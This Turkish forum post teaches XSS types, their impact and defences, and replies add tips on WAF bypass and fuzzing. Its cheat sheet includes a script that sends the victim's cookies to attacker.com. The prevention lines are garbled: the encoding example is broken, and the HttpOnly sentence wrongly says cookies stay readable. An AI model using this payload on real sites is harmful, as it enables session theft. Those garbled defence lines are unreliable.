XSS (Cross-Site Scripting) NEDİR? - TÜRKÇE DETAYLI ANLATIM & REHBER
Selamlar Siber Alem ailesi, bugün sizlere web uygulama güvenliğinde en sık karşımıza çıkan ve Bug Bounty avcılarının en sevdiği zafiyetlerden biri olan XSS (Cross-Site Scripting) zafiyetini kendi tecrübelerimle detaylıca anlatacağım.
XSS nedir kısa bir özet geçmek gerekirse: Bir web sitesinin kullanıcıdan aldığı veriyi yeterince süzmeden veya arındırmadan tarayıcıya geri basması sonucu, kurbanın tarayıcısında zararlı JavaScript kodlarının çalıştırılmasıdır.
XSS zafiyeti 3 temel türe ayrılır dostlar:
- Reflected XSS: Saldırganın hazırladığı zararlı linke kurban tıklar. Girdi doğrudan URL parametresinden alınır ve sayfaya yansıtılır. Kalıcı değildir.
Örnek URL:
https://hedef-site.com/search?q=<script>alert('SiberAlem')</script>
-
Stored (Kalıcı) XSS: En tehlikeli XSS türüdür. Zararlı JavaScript kodu veritabanına, yorum alanına veya profil bilgisine kaydedilir. O sayfayı ziyaret eden HERKESİN tarayıcısında bu kod otomatik çalışır. Örneğin bir forum yorum alanına script yapıştırmak gibi.
-
DOM-Based XSS: Sunucu tarafında hiçbir şey değişmez. Tüm olay kurbanın kendi tarayıcısındaki JavaScript kodlarının (document.location, innerHTML vb.) veriyi güvenli olmadan işlemesinden kaynaklanır.
Peki kurbanın tarayıcısında kod çalıştırınca ne yapabiliyoruz?
- Kurbanın session çerezlerini (cookie) çalarak hesabına doğrudan sızabilirsiniz.
- Sahte giriş formları (phishing) oluşturup şifresini çalabilirsiniz.
- Kullanıcı adına sitede yetkisiz işlemler (arkadaş ekleme, mesaj atma) yaptırabilirsiniz.
🎥 İlgili Video Anlatımı & Uygulamalı Gösterim: YouTube: Web Application Security - Cross-Site Scripting (XSS) Walkthrough
<!-- XSS Payload Hile Sayfası (Cheat Sheet) -->
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
<img src=x>
<svg>
XSS Engellemek İçin Ne Yapılmalı? Sunucu tarafında kullanıcıdan gelen HER GİRDİ HTML Entity Encoding işleminden geçirilmelidir. Yani '<' karakteri '<' olarak dönüştürülmelidir. Ayrıca çerezlere kesinlikle HttpOnly bayrağı eklenmelidir ki JavaScript kodları çerezleri okuyablesin.
Umarım faydalı bir anlatım olmuştur, sorularınızı başlık altından sorabilirsiniz arkadaşlar.
Eline sağlık harika bir özet olmuş dostum! Özellikle DOM-based XSS tarafında innerHTML yerine textContent kullanılması gerektiğini ekleyebiliriz. Bug bounty yaparken WAF bypass için SVG payload'ları çok iş yapıyor.
Çok açıklayıcı ve temiz anlatım olmuş kardeşim. HttpOnly bayrağı eklendiğinde çerezler okunamıyor ama kurban adına arka planda istek atmak (XSS + CSRF birleşimi) halen mümkün kalıyor, ona da dikkat etmek lazım.
Reis ellerine sağlık, XSS avlarken Burp Suite Intruder ile fuzzing yaparken kullandığın tavsiye ettiğin bir wordlist var mıdır?
Konu İstatistikleri
Son Tartışmalar
Popüler Exploitler
Güvenlik Uyarısı
Siber Alem veritabanında paylaşılan exploitler, makaleler ve kodlar tamamen eğitim ve araştırma amaçlıdır. Yasadışı faaliyetlerde kullanılması durumunda tüm sorumluluk kullanıcıya aittir.